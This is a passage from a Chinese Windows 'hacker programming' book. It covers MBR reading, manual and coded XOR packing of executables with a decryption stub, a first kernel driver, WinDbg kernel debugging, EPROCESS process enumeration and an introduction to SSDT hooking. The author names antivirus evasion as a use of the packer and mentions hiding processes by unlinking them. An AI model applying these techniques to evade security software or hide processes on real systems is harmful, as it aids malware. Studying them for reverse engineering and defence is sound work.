if ( hDevice == INVALID_HANDLE_VALUE )
 
{
 
printf("CreateFile Error %d \r\n", GetLastError());
 
return -1;
 
}
 
MBR Mbr = { 0 };
 
ShowMbr(hDevice, &Mbr);
 
ParseMbr(Mbr);
 
CloseHandle(hDevice);
 
return 0;
 
}
 
代码非常短，也不复杂，看起来跟读写文件没什么太大的差别，其实就是在读写文件。前面介绍过，Windows 将各种设备都当作文件来看待，因此打开硬盘设备的时候直接使用CreateFile()函数就可以了。关于MBR的部分就介绍到这里了。
 

 
6.6 加壳与脱壳
 

 
6.6.1 手动加壳
 
壳是一种较为特殊的软件。壳分为两类，一类是压缩壳，另一类是加密壳。当然，还有介于两者之间的混合壳。下面先来手动为一个可执行文件加一层外壳，需要准备的工具有C32ASM、LordPE、添加节表工具和OD。
 
首先用LordPE查看可执行文件，并对需要的几个数据做一个简单的记录，如图6-47所示。
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  图6-47 PE格式中需要用到的数据 

 
在LordPE中，需要查看几个对于我们需要的数据，包括PE文件的入口RVA、映像地址和代码节的相关数据。有了这些数据以后就可以通过 C32ASM 对代码进行加密了。用C32ASM以十六进制的方式打开可执行文件，然后从代码节的文件偏移开始选择，也就是从1000h的位置开始选择，一直选到4fffh的位置。然后单击右键，在弹出的快捷菜单上选择“修改数据”命令，在“修改数据”对话框中选择“异或”算法来对代码节进行加密，如图6-48所示。
 
使用0x88来对代码节进行异或加密，单击“确定”按钮后代码节被修改。保存以后使用在前面章节编写的添加节表的软件对可执行文件添加一个新的节，如图6-49所示。
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  图6-48 用“异或”算法对代码节进行加密 
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  图6-49 添加新节区 

 
添加新的节区以后使用OD对可执行文件添加一些代码，用OD打开可执行程序，来到00408000地址处，添加如下代码：
 
PUSHAD
 
MOV EAX, 00401000
 
XOR BYTE PTR DS:[EAX],88
 
INC EAX
 
CMP EAX, 00404FFF
 
JNZ 00408006
 
POPAD
 
MOV EAX, 00401000
 
JMP EAX
 
以上代码的作用是将上面修改的代码节内容还原，然后进行保存。用 LordPE 修改该可执行文件的入口和代码节的属性，如图6-50、图6-51和图6-52所示。
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  图6-50 修改入口点 
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  图6-51 添加代码节属性 
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  图6-52 修改新节属性 

 
运行修改过的可执行文件，可以正常运行。
 
下面整理一下思路，以方便我们写代码。最开始用LordPE查看了将要用到的一些PE信息，然后用C32ASM对代码节进行了简单的异或加密，接下来新添加了一个节并在新节中写入了还原代码节的解密指令，最后用 LordPE 修改了文件的入口地址、代码节属性和新添加节的属性。对照一下前后两个文件的不同之处，如图6-53所示。
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  图6-53 加壳前后PE文件的对比 

 
从图中可以看出这两个 PE 文件的差别，相信大家对此已经没有不理解的地方了。下面开始手动打造一个这样简单的加壳软件。
 

 
6.6.2 编写简单的加壳工具
 
其实不按照上面的步骤进行也可以，只要步骤是合理的就可以了。我们主要有4个函数需要实现，分别是获取 PE 信息 GetPeInfo()、添加新节 AddSection()、加密代码节 Encode()和写入解密代码WriteDecode()。获取PE信息和添加新节的代码实现前面已经介绍过了，这里就不重复介绍了。我们主要看两个函数的代码，分别是Encode()和WriteDecode()。
 
Encode()函数的作用是对代码节的内容进行加密，这里选择的加密算法是异或算法。在进行加密以前需要获得代码节在文件中的位置，以及代码节的长度。有了这两个信息就可以进行加密了，代码如下：
 
// 加密代码节
 
VOID CMyShellDlg::Encode()
 
{
 
DWORD dwRead = 0;
 
PBYTE pByte = NULL;
 
pByte = (PBYTE)malloc(m_SecTextInfo.Misc.VirtualSize);
 
SetFilePointer(m_hFile, m_SecTextInfo.PointerToRawData, 0, FILE_BEGIN);
 
ReadFile(m_hFile, pByte, m_SecTextInfo.Misc.VirtualSize, &dwRead, NULL);
 
for ( DWORD i = 0; i < m_SecTextInfo.Misc.VirtualSize; i++ )
 
{
 
pByte[i] ^= 0x88;
 
}
 
SetFilePointer(m_hFile, m_SecTextInfo.PointerToRawData, 0, FILE_BEGIN);
 
WriteFile(m_hFile, pByte, m_SecTextInfo.Misc.VirtualSize, &dwRead, NULL);
 
free(pByte);
 
}
 
WriteDecode()函数的作用是将对代码节的解密代码写入到新添加的节中，这样在运行真正代码之前会先对加密的代码进行还原。同样，解密的代码也使用异或算法进行。解密的代码不能直接写入C代码，而是要写入机器码，机器码可以到OD中取得，代码如下：
 
00408000 >　60　　　PUSHAD
 
00408001　B8 00104000　MOV EAX,HelloWor.00401000
 
00408006　8030 88　　XOR BYTE PTR DS:[EAX],88
 
00408009　40　　　INC EAX
 
0040800A　3D 464B4000　CMP EAX,HelloWor.00404B46
 
0040800F　^ 75 F5　　JNZ SHORT HelloWor.00408006
 
00408011　61　　　POPAD
 
00408012　B8 41104000　MOV EAX,HelloWor.00401041
 
00408017　FFE0　　　JMP EAX
 
在虚拟地址和汇编指令的中间部分就是汇编指令对应的机器码，将其取出并定义为C语言的数组，定义如下：
 
char Decode[] =
 
"\x60"
 
"\xb8\x00\x00\x00\x00"
 
"\x80\x30\x88"
 
"\x40"
 
"\x3d\xff\x4f\x40\x00"
 
"\x75\xf5"
 
"\x61"
 
"\xb8\x00\x00\x00\x00"
 
"\xff\xe0";
 
这个机器码在解密的过程中要根据实际的PE信息进行修改，修改的位置有3处，分别是代码节的起始虚拟地址、代码节的结束虚拟地址和程序的原始入口点，代码如下：
 
VOID CMyShellDlg::WriteDecode()
 
{
 
DWORD dwWrite = 0;
 
// 写入代码节的开始位置
 
*(DWORD *)&Decode[2] = m_dwImageBase + m_SecTextInfo.VirtualAddress;
 
// 代码节终止位置
 
*(DWORD *)&Decode[11] = m_dwImageBase + m_SecTextInfo.VirtualAddress + m_
 
SecTextInfo.Misc.VirtualSize;
 
// 写入OEP
 
*(DWORD *)&Decode[19] = m_dwImageBase + m_dwEntryPoint;
 
SetFilePointer(m_hFile, m_SecNewHdr.PointerToRawData, 0, FILE_BEGIN);
 
WriteFile(m_hFile, (LPVOID)Decode, sizeof(Decode), &dwWrite, NULL);
 
}
 
这就是解密代码，大家可以找个用 VC 写的程序来进行测试。在这里使用 Release 版的helloworld测试通过。
 
这个壳属于袖珍版的壳，严格来说，算不上是一个壳，但是这个壳在免杀领域是有用的，也就是把定位到的特征码进行加密，然后再写入解密代码从而隐藏特征码。一个真正的壳会对导入表、导出表、资源、TLS、附加数据等相关的部分进行处理。加密壳会加入很多反调试的功能，而且还会让壳和可执行文件融合在一起，达到“骨肉相连”的程度来增加脱壳的难度。
第7章 最后的旅程——简单驱动开发及逆向
 
本章将一起来学习和了解与驱动相关的编程，还有当下倍受欢迎的逆向知识。这两方面的知识无论是从反面的免杀、外挂、破解角度来说，还是从正面的反病毒、反外挂、反调试来说都非常有用。对于学习黑客编程的新手来说，真正要了解这些也许要花一点时间，不过还是要讨论一下，驱动毕竟是比较神秘的知识，而逆向确实是对于开发环境和分析环节的一个精髓。
 

 
7.1 驱动版的“Hello World”
 
驱动都是要加载入内核的，我们要做的很多事情也需要在内核下完成，要想在内核中实现功能就需要编写驱动模块。提到驱动可能会想到硬件，大家可能会简单地认为驱动程序是控制硬件设备的。在Windows下驱动并不单单是用来控制硬件设备的。Windows操作系统中的驱动程序可以创建虚拟设备，也可以与设备无关。Windows操作系统是一个开放式的操作系统，这个开放式并不是指其开放源代码，而是指通过其提供的接口可以很容易和方便地对其内核进行扩展。
 
要开发 Windows 下的驱动程序时，需要下载安装 Windows 下的驱动开发包，即 WDK （Windows Driver Kit），该开发包免费提供下载，里面附带了开发驱动的头文件、帮助文档、工具及大量的文档等内容。笔者当前使用的版本是WDK 7600.16385.0。下面来编写一个简单的、与设备无关的驱动程序，名为 HelloWorld。编写驱动不再依赖 VC6 的开发环境，而是在记事本或任意一款文本编辑器中编写代码，新建一个文件为helloworld.c的C源码文件。代码如下：
 
#include <ntddk.h>
 
VOID DriverUnload(PDRIVER_OBJECT pDriverOjbect)
 
{
 
KdPrint(("DriverUnload Routine!\r\n"));
 
}
 
NTSTATUS DriverEntry(
 
PDRIVER_OBJECT　pDriverObject,
 
PUNICODE_STRING pRegistryPath
 
)
 
{
 
KdPrint(("%S\r\n", pDriverObject->DriverName.Buffer));
 
pDriverObject->DriverUnload = DriverUnload;
 
return STATUS_SUCCESS;
 
}
 
在开发驱动时，不再使用 main()函数，而是使用 DriverEntry()，该函数是驱动程序的入口函数，其定义在WDK自带的帮助文档中查找：
 
NTSTATUS
 
DriverEntry(
 
__in struct _DRIVER_OBJECT *DriverObject,
 
__in PUNICODE_STRING RegistryPath
 
)
 
{...}
 
在 WDK 的帮助文档中查找 DriverEntry()时会找到非常多的关于它的定义，这里查看的是DriverEntry[WDK kernel]的定义。该函数有如下两个参数。
 
（1）DriverObject：该参数是一个指向DRIVER_OBJECT结构体（驱动对象）的指针.
 
（2）RegistryPath：该参数是一个UNICODE字符串，指向此驱动负责的注册表。
 
在程序中使用到了第一个参数，DRIVER_OBJECT结构体的定义如下：
 
__in struct _DRIVEtypedef struct _DRIVER_OBJECT {
 
CSHORT Type;
 
CSHORT Size;
 
//
 
// The following links all of the devices created by a single driver
 
// together on a list, and the Flags word provides an extensible flag
 
// location for driver objects.
 
//
 
PDEVICE_OBJECT DeviceObject;
 
ULONG Flags;
 
//
 
// The following section describes where the driver is loaded. The count
 
// field is used to count the number of times the driver has had its
 
// registered reinitialization routine invoked.
 
//
 
PVOID DriverStart;
 
ULONG DriverSize;
 
PVOID DriverSection;
 
PDRIVER_EXTENSION DriverExtension;
 
//
 
// The driver name field is used by the error log thread
 
// determine the name of the driver that an I/O request is/was bound.
 
//
 
UNICODE_STRING DriverName;
 
//
 
// The following section is for registry support. Thise is a pointer
 
// to the path to the hardware information in the registry
 
//
 
PUNICODE_STRING HardwareDatabase;
 
//
 
// The following section contains the optional pointer to an array of
 
// alternate entry points to a driver for "fast I/O" support. Fast I/O
 
// is performed by invoking the driver routine directly with separate
 
// parameters, rather than using the standard IRP call mechanism. Note
 
// that these functions may only be used for synchronous I/O, and when
 
// the file is cached.
 
//
 
PFAST_IO_DISPATCH FastIoDispatch;
 
//
 
// The following section describes the entry points to this particular
 
// driver. Note that the major function dispatch table must be the last
 
// field in the object so that it remains extensible.
 
//
 
PDRIVER_INITIALIZE DriverInit;
 
PDRIVER_STARTIO DriverStartIo;
 
PDRIVER_UNLOAD DriverUnload;
 
PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
 
} DRIVER_OBJECT;
 
typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT; R_OBJECT *DriverObject,
 
该定义在WDK目录下的\inc\ddk\中的wdm.h头文件中，虽然在WDK的帮助文档中有该结构体的介绍，但是笔者并没有找到关于该结构体的具体定义。在该程序中用到了该结构体中的几个成员变量，分别是DriverUnload和DriverName。DriverUnload是一个用来卸载驱动的函数，卸载驱动的工作是由Windows来完成的，因此该函数是一个回调函数，这个函数用来完成对驱动资源的释放工作。该函数的定义格式如下：
 
VOID
 
Unload(
 
__in struct _DRIVER_OBJECT *DriverObject
 
)
 
{...}
 
DriverName 是一个 UNICODE_STRING 结构体的变量，该变量指向了驱动的名称， UNICODE_STRING结构体的定义如下：
 
typedef struct _UNICODE_STRING {
 
USHORT Length;
 
USHORT MaximumLength;
 
PWSTR Buffer;
 
} UNICODE_STRING, *PUNICODE_STRING;
 
该结构体中的Buffer里保存了驱动的名称，其他两个变量里保存了驱动名称字符串的长度和最大长度。我们的程序到这里基本上介绍的差不多了，还剩下一个KdPrint()函数没有介绍，这个函数的用法类似printf()函数的用法，这里就不做过多的介绍了。下面来准备编译连接写好的第一个驱动程序吧。
 
要编译驱动程序需要使用WDK提供的编译工具，在“开始”菜单的程序下可以找到安装 WDK 的菜单，如：“Windows Driver Kits->WDK 7600.16385.0->Build Environments->Windows XP->x86 Checked Build Environment”，除了Windows XP的以外还有Windows 2003、Windows 7 等相关的编译命令行。在驱动编译的工程中也同样提供两个版本，分别是Checked版和Free版，这两个版本对应的就是Debug版和Release版，只是叫法不同而已（注：在不同平台下应使用不同的编译命令行）。
 
在命令行下编译需要编译脚本，编译脚本有两个，分别是“makefile”和“sources”。这两个脚本不用自己写，只要找一个改改就行。我们到WDK提供的例子程序中找个编译脚本，例如笔者在“\7600.16385.0\src\filesys\miniFilter\cancelSafe\”目录下找了这两个文件，并复制到我们写的驱动的目录下。下面来修改一下编译脚本，只需要修改“sources”文件即可，另一个文件保持原样即可。Sources文件修改如下：
 
TARGETNAME=helloworld
 
TARGETTYPE=DRIVER
 
SOURCES=helloworld.c
 
简单解释一下，第一行是编译连接后的驱动名称，第二行是编译后的类型，第三行是需要编译连接的源代码文件。修改好后保存，就可以进行编译了。输入编译的命令build /g，如图7-1所示。
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  图7-1 驱动的编译连接过程 

 
在编译成功后会在最下面一行看到一个“1 executable built”的输出，到我们的目录下去找一下编译好的驱动程序，其所在目录为“HelloWorldDriver\objchk_wxp_x86\i386”下，那个扩展名为.sys的helloworld就是编译好的驱动文件了。
 
.sys 的文件是无法直接双击执行的，需要通过工具进行加载，这里使用的工具是一款名为“KmdManager”的EXE文件。除了要加载以外，还要查看驱动的输出，由于驱动没有界面，因此无法直接查看其输出，需要使用Dbgview工具来查看，下面具体操作一遍。打开KmdManager和Dbgview两个工具，将驱动程序拖放至KmdManager中，然后单击“Register”加载驱动，单击“Run”运行程序，然后查看Dbgview中有一串字符串，那正是在DriverEntry()中输出的字符串。单击“Stop”按钮停止驱动，并单击“Unregistry”卸载驱动，再次观察Dbgview会看到在DriverUnload()中输出的字符串，如图7-2和图7-3所示。
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  图7-2 KmdManager的操作 

 
我们逐步完成了Helloworld驱动的编写、编译连接及运行显示输出的过程。这一节的内容也主要是让大家学会如何编译连接、运行和查看驱动输出。
 

 
7.2 驱动下的进程遍历
 
在前面的章节中曾经实现过一个枚举进程中被加载DLL文件的函数，接下来要实现一个枚举进程的函数。枚举进程不能在用户态下进行，需要到内核态下进行，这样就必须使用驱动程序来完成。先用WinDbg完成一次手动的枚举过程，再通过代码来完成。
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  图7-3 Dbgview显示的输出 

 

 
7.2.1 配置VMware和WinDbg进行驱动调试
 
使用WinDbg调试驱动程序或内核，需要双机进行调试，所谓双机就是两台电脑。通常情况下，大部分人都没有两台电脑，往往只有一台电脑。那么，解决的方法就是安装虚拟机，然后对虚拟机进行一些设置，也是可以通过WinDbg来进行调试的。虚拟机选择使用VMware，下面讨论一下如何对虚拟机进行配置。
 
安装好VMware，并在VMware中安装好操作系统，然后对安装好的虚拟机进行一些设置，通过此设置可以达到调试器与虚拟机的连接。单击菜单“VM”→“Settings”命令，弹出“Virtual Machine Settings”窗口，如图7-4 所示。
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  图7-4 “Virtual Machine Settings”对话框 

 
单击“Add”按钮，打开“Add Hardware Wizard”（添加硬件向导）对话框，如图7-5所示。
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  图7-5 “Add Hardware Wizard”对话框1 

 
在该对话框中选择“Serial Port”选项，也就是串口，然后单击“Next”按钮，弹出“Add Hardware Wizard”对话框的第二个界面，如图7-6 所示。
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  图7-6 “Add Hardware Wizard”对话框2 

 
在该界面中选择“Output to named pipe”单选钮，也就是命名管道，命名管道是Windows下进程通信的一种方法。选中该项后继续单击“Next”按钮进入下一个界面，也是设置的最后一个界面，如图7-7所示。
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  图7-7 “Add Hardware Wizard”对话框3 

 
在这个界面中对命名管道进行设置，然后单击“Finish”按钮即可。至此，已经完成了一半的设置了。接着，启动虚拟机配置Windows的Boot.ini文件。Boot.ini文件原内容如下：
 
[boot loader]
 
timeout=30
 
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
 
[operating systems]
 
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft　Windows　XP　Professional"/fastdetect /NoExecute=AlwaysOff
 
将最后一行复制一下，然后放到最后面，并进行修改，修改后的内容如下：
 
[boot loader]
 
timeout=30
 
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
 
[operating systems]
 
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft　Windows　XP　Professional"/fastdetect /NoExecute=AlwaysOff
 
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft　Windows　XP　Professional"/fastdetect /NoExecute=optin /debug /debugport=com1 /baudrate=115200
 
去掉Boot.ini文件的只读属性，然后保存Boot.ini文件。在下次需要对驱动进行调试，或者对内核进行调试时选择启动Debug模式的Windows。
 
注：这里只介绍了针对Windows XP 系统的配置方法，关于其他版本系统的配置方法请自行参考相关内容。
 
至此，所有的配置工作就做好了，但是使用WinDbg进行连接时，还是要有连接参数的。我们先在桌面上创建一个WinDbg的快捷方式，然后在WinDbg快捷方式上单击右键，在弹出的快捷菜单中选择“属性”命令，弹出“属性”对话框，将“目标”位置改为：
 
F:\WinDDK\7600.16385.0\Debuggers\windbg.exe　-b　-k　com:port=\\.\pipe\com_1,baud=115200,pipe
 
这样就可以用WinDbg 连接虚拟机中调试状态下的Windows XP 了。
 

 
7.2.2 EPROCESS和手动遍历进程
 
Windows 中有一个非常大的与进程有关的结构体——EPROCESS。每个进程对应一个EPROCESS结构，但EPROCESS是一个系统未公开的结构体，我们在WDK中只能找到说明，而找不到其结构体的具体定义，因此需要通过 WinDbg 来查看，这次使用 WinDbg 和WMware进行调试。按照前面的方法，使WinDbg和WMware可以连接，当WinDbg出现调试界面时，在其命令处输入dt _eprocess 命令来查看一下该结构体，如图7-8 所示。
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  图7-8 WinDbg显示的部分EPROCESS结构体 

 
从图中可以看出，EPROCESS结构体显示出了非常多的内容，从WinDbg调试界面只能看到部分的成员变量，而且偏移已经到了0x258，非常多。看一下WinDbg的全部内容。
 
kd> dt _eprocess
 
nt!_EPROCESS
 
+0x000 Pcb　　　　　: _KPROCESS　　　　　// 进程控制块
 
+0x06c ProcessLock　　　: _EX_PUSH_LOCK
 
+0x070 CreateTime　　　: _LARGE_INTEGER
 
+0x078 ExitTime　　　: _LARGE_INTEGER
 
+0x080 RundownProtect　　: _EX_RUNDOWN_REF
 
+0x084 UniqueProcessId　　: Ptr32 Void　　　　　// 进程ID
 
+0x088 ActiveProcessLinks　: _LIST_ENTRY　　　　　// 活动进程链表
 
+0x090 QuotaUsage　　　: [3] Uint4B
 
+0x09c QuotaPeak　　　: [3] Uint4B
 
+0x0a8 CommitCharge　　: Uint4B
 
+0x0ac PeakVirtualSize　　: Uint4B
 
+0x0b0 VirtualSize　　　: Uint4B
 
+0x0b4 SessionProcessLinks　: _LIST_ENTRY
 
+0x0bc DebugPort　　　: Ptr32 Void
 
+0x0c0 ExceptionPort　　: Ptr32 Void
 
+0x0c4 ObjectTable　　　: Ptr32 _HANDLE_TABLE
 
+0x0c8 Token　　　　: _EX_FAST_REF
 
+0x0cc WorkingSetLock　　: _FAST_MUTEX
 
+0x0ec WorkingSetPage　　: Uint4B
 
+0x0f0 AddressCreationLock　: _FAST_MUTEX
 
+0x110 HyperSpaceLock　　: Uint4B
 
+0x114 ForkInProgress　　: Ptr32 _ETHREAD
 
+0x118 HardwareTrigger　　: Uint4B
 
+0x11c VadRoot　　　　: Ptr32 Void
 
+0x120 VadHint　　　　: Ptr32 Void
 
+0x124 CloneRoot　　　: Ptr32 Void
 
+0x128 NumberOfPrivatePages : Uint4B
 
+0x12c NumberOfLockedPages　: Uint4B
 
+0x130 Win32Process　　: Ptr32 Void
 
+0x134 Job　　　　　: Ptr32 _EJOB
 
+0x138 SectionObject　　: Ptr32 Void
 
+0x13c SectionBaseAddress　: Ptr32 Void
 
+0x140 QuotaBlock　　　: Ptr32 _EPROCESS_QUOTA_BLOCK
 
+0x144 WorkingSetWatch　　: Ptr32 _PAGEFAULT_HISTORY
 
+0x148 Win32WindowStation　: Ptr32 Void
 
+0x14c InheritedFromUniqueProcessId : Ptr32 Void
 
+0x150 LdtInformation　　: Ptr32 Void
 
+0x154 VadFreeHint　　　: Ptr32 Void
 
+0x158 VdmObjects　　　: Ptr32 Void
 
+0x15c DeviceMap　　　: Ptr32 Void
 
+0x160 PhysicalVadList　　: _LIST_ENTRY
 
+0x168 PageDirectoryPte　: _HARDWARE_PTE
 
+0x168 Filler　　　　: Uint8B
 
+0x170 Session　　　　: Ptr32 Void
 
+0x174 ImageFileName　　: [16] UChar　　　　　　// 进程名
 
+0x184 JobLinks　　　: _LIST_ENTRY
 
+0x18c LockedPagesList　　: Ptr32 Void
 
+0x190 ThreadListHead　　: _LIST_ENTRY
 
+0x198 SecurityPort　　: Ptr32 Void
 
+0x19c PaeTop　　　　: Ptr32 Void
 
+0x1a0 ActiveThreads　　: Uint4B
 
+0x1a4 GrantedAccess　　: Uint4B
 
+0x1a8 DefaultHardErrorProcessing : Uint4B
 
+0x1ac LastThreadExitStatus : Int4B
 
+0x1b0 Peb　　　　　: Ptr32 _PEB　　　　　　// 进程环境块
 
+0x1b4 PrefetchTrace　　: _EX_FAST_REF
 
+0x1b8 ReadOperationCount　: _LARGE_INTEGER
 
+0x1c0 WriteOperationCount　: _LARGE_INTEGER
 
+0x1c8 OtherOperationCount　: _LARGE_INTEGER
 
+0x1d0 ReadTransferCount　: _LARGE_INTEGER
 
+0x1d8 WriteTransferCount　: _LARGE_INTEGER
 
+0x1e0 OtherTransferCount　: _LARGE_INTEGER
 
+0x1e8 CommitChargeLimit　: Uint4B
 
+0x1ec CommitChargePeak　: Uint4B
 
+0x1f0 AweInfo　　　　: Ptr32 Void
 
+0x1f4 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
 
+0x1f8 Vm　　　　　: _MMSUPPORT
 
+0x238 LastFaultCount　　: Uint4B
 
+0x23c ModifiedPageCount　: Uint4B
 
+0x240 NumberOfVads　　: Uint4B
 
+0x244 JobStatus　　　: Uint4B
 
+0x248 Flags　　　　: Uint4B
 
+0x248 CreateReported　　: Pos 0, 1 Bit
 
+0x248 NoDebugInherit　　: Pos 1, 1 Bit
 
+0x248 ProcessExiting　　: Pos 2, 1 Bit
 
+0x248 ProcessDelete　　: Pos 3, 1 Bit
 
+0x248 Wow64SplitPages　　: Pos 4, 1 Bit
 
+0x248 VmDeleted　　　: Pos 5, 1 Bit
 
+0x248 OutswapEnabled　　: Pos 6, 1 Bit
 
+0x248 Outswapped　　　: Pos 7, 1 Bit
 
+0x248 ForkFailed　　　: Pos 8, 1 Bit
 
+0x248 HasPhysicalVad　　: Pos 9, 1 Bit
 
+0x248 AddressSpaceInitialized : Pos 10, 2 Bits
 
+0x248 SetTimerResolution　　: Pos 12, 1 Bit
 
+0x248 BreakOnTermination　　: Pos 13, 1 Bit
 
+0x248 SessionCreationUnderway　: Pos 14, 1 Bit
 
+0x248 WriteWatch　　　　: Pos 15, 1 Bit
 
+0x248 ProcessInSession　　: Pos 16, 1 Bit
 
+0x248 OverrideAddressSpace　: Pos 17, 1 Bit
 
+0x248 HasAddressSpace　　　: Pos 18, 1 Bit
 
+0x248 LaunchPrefetched　　: Pos 19, 1 Bit
 
+0x248 InjectInpageErrors　　: Pos 20, 1 Bit
 
+0x248 VmTopDown　　　　: Pos 21, 1 Bit
 
+0x248 Unused3　　　　　: Pos 22, 1 Bit
 
+0x248 Unused4　　　　　: Pos 23, 1 Bit
 
+0x248 VdmAllowed　　　　: Pos 24, 1 Bit
 
+0x248 Unused　　　　　: Pos 25, 5 Bits
 
+0x248 Unused1　　　　　: Pos 30, 1 Bit
 
+0x248 Unused2　　　　　: Pos 31, 1 Bit
 
+0x24c ExitStatus　　　　: Int4B
 
+0x250 NextPageColor　　　: Uint2B
 
+0x252 SubSystemMinorVersion　: UChar
 
+0x253 SubSystemMajorVersion　: UChar
 
+0x252 SubSystemVersion　　: Uint2B
 
+0x254 PriorityClass　　　: UChar
 
+0x255 WorkingSetAcquiredUnsafe : UChar
 
+0x258 Cookie　　　　　: Uint4B
 
上面就是EPROCESS结构体的全部，对于遍历进程列表来说，有用的只有几个内容，首先是偏移0x84处的进程ID；然后是偏移0x88处的进程链表；最后一个是偏移0x174的进程名。下面手动进行一次遍历。
 
在WinDbg的命令输入提示处输入! Process 00 命令，得到进程的列表，如图7-9 所示。
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  图7-9 进程信息 

 
PROCESS后面给出的值就是当前进程中EPROCESS的地址，选择explorer.exe进程给出的地址0xff364708 来解析EPROCESS。输入命令dt _eprocess ff364708，输出如下：
 
kd> dt _eprocess ff364708
 
nt!_EPROCESS
 
+0x000 Pcb　　　　　: _KPROCESS
 
+0x06c ProcessLock　　　: _EX_PUSH_LOCK
 
+0x070 CreateTime　　　: _LARGE_INTEGER 0x1cb6af5`91d56cea
 
+0x078 ExitTime　　　: _LARGE_INTEGER 0x0
 
+0x080 RundownProtect　　: _EX_RUNDOWN_REF
 
+0x084 UniqueProcessId　　: 0x00000600
 
+0x088 ActiveProcessLinks　: _LIST_ENTRY [ 0xff2b44b0 - 0xff3640a8 ]
 
<部分省略>
 
+0x174 ImageFileName　　: [16]　"explorer.exe"
 
<部分省略>
 
+0x1b0 Peb　　　　　: 0x7ffde000 _PEB
 
<后面省略>
 
可以看到，按照 EPROCESS 结构体解析 ff364708 这个地址，输出了我们需要的内容。接着，通过ActiveProcessLinks 来获取下一个进程的信息。输入命令dd ff364708 + 0x88，输出如下：
 
kd> dd ff364708 + 0x88
 
ff364790　ff2b44b0 ff3640a8 00002940 00021944
 
ff3647a0　00000a92 00003940 00024cb4 00000bf8
 
ff3647b0　00000a92 05e04000 0563a000 ff2b44dc
 
ff3647c0　ff3640d4 00000000 e15b6eb8 e1ce2640
 
ff3647d0　e166f389 00000001 f39a5440 00000000
 
ff3647e0　00040001 00000000 ff3647e8 ff3647e8
 
ff3647f0　0000003d 000059ca 00000001 f39a5440
 
ff364800　00000000 00040001 00000000 ff36480c
 
在ff364790地址处保存了下一个EPROCESS结构体ActiveProcessLinks的地址，要得到下一个EPROCESS的地址，必须减去0x88才能得到。输入命令dt_eprocess (ff2b44b0–0x88)，输出如下：
 
kd> dt _eprocess (ff2b44b0 - 0x88)
 
nt!_EPROCESS
 
+0x000 Pcb　　　　　: _KPROCESS
 
+0x06c ProcessLock　　　: _EX_PUSH_LOCK
 
+0x070 CreateTime　　　: _LARGE_INTEGER 0x1cb6af5`95026ecc
 
+0x078 ExitTime　　　: _LARGE_INTEGER 0x0
 
+0x080 RundownProtect　　: _EX_RUNDOWN_REF
 
+0x084 UniqueProcessId　　: 0x000006b8
 
+0x088 ActiveProcessLinks　: _LIST_ENTRY [ 0xff2b7580 - 0xff364790 ]
 
<后面省略>
 
+0x174 ImageFileName　　: [16]　"VMwareTray.exe"
 
<后面省略>
 
将输出结果和图7-9中的结果对比，在explorer.exe的下一个进程为vmwaretray.exe，可见遍历方法是正确的。
 

 
7.2.3 编程实现进程遍历
 
上面介绍的手动遍历过程就是指导我们如何编写代码的，只要上面的手动遍历过程能够掌握，那么代码的编写也就不是问题了。下面直接看代码，代码如下：
 
NTSTATUS DriverEntry(
 
PDRIVER_OBJECT pDriverObject,
 
PUNICODE_STRING pRegistryPath)
 
{
 
PEPROCESS pEprocess = NULL;
 
PEPROCESS pFirstEprocess = NULL;
 
ULONG ulProcessName = 0;
 
ULONG ulProcessId = 0;
 
pDriverObject->DriverUnload = DriverUnload;
 
pEprocess = PsGetCurrentProcess();
 
if ( pEprocess == 0 )
 
{
 
KdPrint(("PsGetcurrentProcess Error ! \r\n"));
 
return STATUS_SUCCESS;
 
}
 
pFirstEprocess = pEprocess;
 
while ( pEprocess != NULL )
 
{
 
ulProcessName = (ULONG)pEprocess + 0x174;
 
ulProcessId = *(ULONG *)((ULONG)pEprocess + 0x84);
 
KdPrint(("ProcessName = %s, ProcessId = %d \r\n", ulProcessName, ulProcessId));
 
pEprocess = (ULONG)(*(ULONG *)((ULONG)pEprocess + 0x88) - 0x88);
 
if ( pEprocess == pFirstEprocess || (*(LONG *)((LONG)pEprocess + 0x84)) < 0 )
 
{
 
break ;
 
}
 
}
 
return STATUS_SUCCESS;
 
}
 
在代码中用到了一个函数，就是PsGetCurrentProcess()，这个函数是用来获取当前进程的EPROCESS指针的，该函数的定义如下：
 
PEPROCESS PsGetCurrentProcess(VOID);
 
通过PsGetCurrentProcess()函数获得的是system进程的EPROCESS，大多数内核模式系统线程都在 system 进程中。除了这个函数没有接触过以外，剩下的部分就是对 EPROCESS结构体的操作了，这里就不做过多的介绍了。在前面的章节中介绍过如何实现进程内 DLL文件的隐藏，方法是将指定DLL在DLL链表中“脱链”。为了隐藏进程，同样可以将指定进程的EPROCESS结构体在进程链表中“脱链”，以达到隐藏的目的。
 

 
7.3 HOOK SSDT（系统服务描述表）
 

 
7.3.1 SSDT简介
 
前面介绍了如何编写简单的驱动程序，这节将介绍内核下的一张非常有用的表。在很多游戏保护系统中，或在一些杀毒软件中，都会对该表进行修改，从而改变系统函数调用流程来起到反外挂、反病毒的作用。同样，病毒也在修改该表，从而修改系统函数调用流程来完成其自身的目的。这张非常关键的表叫做SSDT，即System Service Descriptor Table（系统服务描述表）。这张表的作用是把用户层的Win32 API 和内核层的API 建立一个关联。在该表中维护非常多Native API，或称本地API。下面通过WinDbg 来查看一下该表。
 
依照前面的方法，使用 WinDbg 连接到虚拟机上，然后在命令提示符处输入 ddKeServiceDescriptorTable 命令，会得到一些十六进制的输出。KeServiceDescriptorTable 是Ntoskrnl.exe导出的一个指针，用来指向SSDT表的。我们查看一下命令的输出结果：
 
kd> dd KeServiceDescriptorTable
 
80553fa0　80502b8c 00000000 0000011c 80503000
 
80553fb0　00000000 00000000 00000000 00000000
 
80553fc0　00000000 00000000 00000000 00000000
 
80553fd0　00000000 00000000 00000000 00000000
 
80553fe0　00002710 bf80c0b6 00000000 00000000
 
80553ff0　fc142a80 80e2d890 80cee0f0 806e2f40
 
80554000　00000000 00000000 c169a786 00009a34
 
80554010 3beab1c6 01cc052a 00000000 00000000
 
